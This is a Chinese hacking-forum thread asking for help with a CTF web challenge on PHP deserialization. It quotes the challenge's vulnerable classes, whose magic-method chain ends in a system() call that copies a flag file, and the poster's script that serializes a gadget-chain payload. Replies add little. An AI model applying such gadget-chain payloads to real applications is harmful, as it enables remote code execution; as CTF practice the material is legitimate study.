吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 492|回复: 6
收起左侧

[求助] 一个CTF web题目,反序列化的,求指导

[复制链接]
GoogleHacking 发表于 2026-4-25 13:07
本帖最后由 GoogleHacking 于 2026-4-25 13:14 编辑

题目地址:File Reader
ce493568-2e0e-4db3-ae1d-99906f0a1dc4.png
代码是:
<?phpclass A {    public $file;    public $luo;    public function __construct() {    }    public function __toString() {        $function = $this->luo;        return $function();    }}class B {    public $a;    public $test;    public function __construct() {    }    public function __wakeup()    {        echo($this->test);    }    public function __invoke() {        $this->a->rce_me();    }}class C {    public $b;    public function __construct($b = null) {        $this->b = $b;    }    public function rce_me() {        echo "Success!\n";        system("cat /flag/flag.txt > /tmp/flag");    }}我写的反序列化代码:
<?phpclass A {    public $file;    public $luo;}class B {    public $a;    public $test;}class C {    public $b;}// 1. 构造命令执行类$c = new C();// 2. 构造 B 类,绑定 C 类$b = new B();$b->a = $c;// 3. 构造 A 类,luo 属性指向 B 对象(触发 __invoke)$a = new A();$a->luo = $b;// 4. B 对象的 test 属性绑定 A 对象(echo 触发 __toString)$b->test = $a;// 生成最终序列化 payloadecho serialize($b);?>


然后输入进去就变成这样了
7fcaf396-9206-4aa6-814e-5eb06f63486c.png

求大佬指导




发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| GoogleHacking 发表于 2026-4-25 13:08
题目是ctf+上面的,,题目名字叫 6d0f9ac6-9388-4a0e-94c1-7c96228a7e4e.png
liteyu 发表于 2026-4-25 15:48
真的很想帮你佬,但是我卡在入门第二题了。菜菜
 楼主| GoogleHacking 发表于 2026-4-25 21:42
liteyu 发表于 2026-4-25 15:48
真的很想帮你佬,但是我卡在入门第二题了。菜菜

反序列化的入门第二题吗
 楼主| GoogleHacking 发表于 2026-4-25 21:45
speedd 发表于 2026-4-25 21:43
水果的东西,可玩性太差都懒得去搞了……

什么水果的东西
千载难逢 发表于 2026-4-26 00:34
不难啊     SYC{LMAO}
QQ图片20260426003302.png
 楼主| GoogleHacking 发表于 2026-4-27 09:31
千载难逢 发表于 2026-4-26 00:34
不难啊     SYC{LMAO}

能说下咋做的么
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-6-16 02:07

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表